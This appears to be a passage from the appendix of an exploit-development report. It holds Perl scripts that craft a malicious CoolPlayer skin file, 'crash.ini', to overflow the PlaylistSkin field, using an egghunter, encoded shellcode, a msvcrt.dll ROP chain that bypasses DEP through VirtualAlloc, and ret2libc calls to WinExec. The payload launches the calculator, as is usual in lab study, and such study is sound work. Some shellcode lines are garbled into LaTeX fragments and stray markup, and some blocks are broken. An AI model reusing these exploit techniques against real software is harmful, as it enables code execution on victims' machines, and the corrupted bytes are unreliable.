"\x58\x4b\x39\x45\x50\x45\x50\x43\x30\x41\x30\x41\x39\x5a" .
"\x58\x4b\x39\x45\x50\x45\x50\x43\x30\x43\x50\x4b\x39\x5a" .
"\x45\x50\x31\x58\x52\x43\x54\x4c\x4b\x56\x32\x54\x4c\x4b\x54" .
"\x32\x47\x58\x54\x4f\x58\x37\x50\x4a\x47\x56\x56\x51\x4b" .
```

"\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43"	
"\x32\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f"	
"\x37\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x50\x52\x52"	
"\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51"	
"\x50\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x43\x31\x4e"	
"\x30\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x56\x38\x51"	
"\x30\x43\x31\x49\x43\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x56"	
"\x54\x4c\x4b\x45\x51\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f"	
"\x30\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x49\x57\x56"	
"\x58\x4d\x30\x54\x35\x5a\x54\x54\x43\x4d\x5a\x58\x47"	
"\x4b\x43\x4d\x56\x44\x54\x35\x5a\x42\x50\x58\x4c\x4b\x51"	
"\x48\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50"	
"\x4b\x4c\x4b\x56\x38\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43"	
"\x34\x4c\x4b\x45\x51\x58\x50\x4b\x39\x47\x34\x56\x44\x47"	
"\x54\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x56\x31\x4b"	
"\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c\x4b\x54\x52\x5a"	
"\x4b\x4c\x46\x51\x4d\x43\x58\x56\x53\x47\x42\x43\x30\x43"	
"\x30\x43\x58\x52\x57\x54\x33\x56\x52\x51\x4f\x56\x34\x43"	
"\x58\x50\x4c\x43\x47\x56\x46\x54\x47\x4b\x4f\x4e\x35\x4e"	
"\x58\x5a\x30\x43\x31\x45\x50\x43\x30\x56\x49\x4f\x34\x50"	
"\x54\x50\x50\x43\x58\x56\x49\x4b\x30\x52\x4b\x43\x30\x4b"	
"\x4f\x4e\x35\x56\x30\x50\x50\x50\x56\x30\x51\x50\x56"	
"\x30\x51\x50\x56\x30\x45\x38\x4b\x5a\x54\x4f\x49\x4f\x4d"	
"\x30\x4b\x4f\x58\x55\x4d\x59\x49\x57\x45\x38\x4f\x30\x49"	
"\x38\x43\x30\x4d\x4e\x45\x38\x43\x32\x43\x30\x52\x31\x51"	
"\x4c\x4b\x39\x4b\x56\x43\x5a\x52\x30\x56\x36\x56\x37\x45"	
"\x38\x5a\x39\x49\x35\x52\x54\x43\x51\x4b\x4f\x58\x55\x45"	
"\x38\x43\x53\x52\x4d\x52\x44\x43\x30\x4c\x49\x5a\x43\x56"	
$x_{37}x_{56}x_{37}x_{50}x_{57}x_{50}x_{31}x_{b}x_{46}x_{3}x_{5a}x_{52}x_{32}x_{50}$	
x59x51x46x4dx32x4bx4dx43x56x4fx37x47x34x51	
"\x34\x47\x4c\x45\x51\x45\x51\x4c\x4d\x50\x44\x51\x34\x54"	
"\x50\x58\x46\x45\x50\x51\x54\x50\x54\x56\x30\x56\x36\x56"	
"\x36\x50\x56\x51\x56\x51\x46\x50\x4e\x50\x56\x56\x36\x51"	
x43x51x46x52x48x54x39x58x4cx47x4fx4cx46x4b	
x4fx58x55x4dx59x4dx30x50x4ex56x36x47x36x4b	
x4fx56x50x45x38x43x38x4cx47x45x4dx43x50x4b	
x4fx58x55x4fx4bx5ax50x58x35x4ex42x51x46x45	
$\label{eq:stable} $$ \frac{1}{x38} \times 4f \times 56 \times 5a \times 35 \times 4f \times 4d \times 4d \times 4d \times 4b \times 4f \times 49 \times 45 \times 47 $$$	
"\x4c\x54\x46\x43\x4c\x45\x5a\x4b\x30\x4b\x4 <u>b\x4d\x30\x54</u> "	
"\x35\x45\x55\x4f\x4b\x51\x57\x54\x53\x54\x3 <u>2\x52\x4f\x52</u> "	
"\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x41\x41";	
<pre>open(\$FILE,">\$file");</pre>	
print \$FILE \$buffer;	

egghunter.pl

```
$file= "crash.ini";
```

```
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1035;
$buffer .= pack('V',0x7C86467B);
#NOP Padding
$buffer .= "\x90" x 16;
#Egg Hunter shellcode
$buffer .=
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
```

```
'\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
```

```
#More NOP Padding
$buffer .= "\x90" x 200;
#Egg Tag
$buffer .= "w00tw00t";
#Calculator Shellcode
```

```
open($FILE,">$file");
print $FILE $buffer;
close;
```

APPENDIX B - PERL SCRIPTS (DEP ON)

ropchain.pl

```
$file= "crash.ini";
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1041;
#RETN Instruction
$buffer .= pack('V', 0x77c1258a);
#ROP Chain to disable DEP
$buffer .= pack('V',0x77c32a3f); #POP EBP # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c32a3f); #skip 4 bytes [msvcrt.dll]
#[---INFO:gadgets to set ebx:---]
```

```
$buffer .= pack('V', 0x77c47653); #POP EBX # RETN [msvcrt.dll]
$buffer .= pack('V', 0xfffffff); #
$buffer .= pack('V', 0x77c127e5); #INC EBX # RETN [msvcrt.dll]
$buffer .= pack('V', 0x77c127e5); #INC EBX # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c34fcd); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V', 0x2cfe1467); #put delta into eax (-> put 0x00001000 into
$buffer .= pack('V',0x77c4eb80); #ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN
[msvcrt.dll]
$buffer .= pack('V',0x77c58fbc); #XCHG EAX,EDX # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c34de1); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V',0x2cfe04a7); #put delta into eax (-> put 0x00000040 into
$buffer .= pack('V', 0x77c4eb80); #ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN
$buffer .= pack('V',0x77c14001); #XCHG EAX,ECX # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c47a26); #POP EDI # RETN [msvcrt.dll]
$buffer .= pack('V', 0x77c47a42); #RETN (ROP NOP) [msvcrt.dll]
$buffer .= pack('V',0x77c46efb); #POP ESI # RETN [msvcrt.dll]
$buffer .= pack('V', 0x77c2aacc); #JMP [EAX] [msvcrt.dll]
$buffer .= pack('V', 0x77c21d16); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V', 0x77c1110c); #ptr to &VirtualAlloc() [IAT msvcrt.dll]
                       #[---INFO:pushad:---]
$buffer .= pack('V',0x77c12df9); #PUSHAD # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c35459); #ptr to 'push esp # ret ' [msvcrt.dll]
$buffer .="x90" x 16;
$buffer .= "\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x43\x43\x43" .
"\x51\x49\x42\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56"
^{\prime\prime} \times ^{\prime} \times
"\x4d\x56\x44\x54\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56"
"\x44\x43\x31\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c"
"\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\x44\x4c"
```



ret2libc1.pl

```
$file= "crash.ini";
$header = "[CoolPlayer Skin]\nPlaylistSkin=";
$shellcode = "cmd /c calc&";
$buffer = $header. $shellcode. "A" x (1041 - length ($shellcode));
$buffer .= pack('V', 0x7c8623ad);
open($FILE,">$file");
print $FILE $buffer;
close;
```

ret2libc2.pl

```
$file= "crash.ini";
$header = "[CoolPlayer Skin]\nPlaylistSkin=";
$shellcode = "cmd /c calc&";
$buffer = $header. $shellcode. "A" x (1041 - length ($shellcode));
$buffer .= pack('V', 0x7c8623ad); # winexec
$buffer .= pack('V', 0x7c81cafa); # exitprocess
$buffer .= pack('V', 0x0011EDF7); # cmdline address
$buffer .= pack('V', 0xffffffff); # window style
open($FILE,">$file");
print $FILE $buffer;
close;
```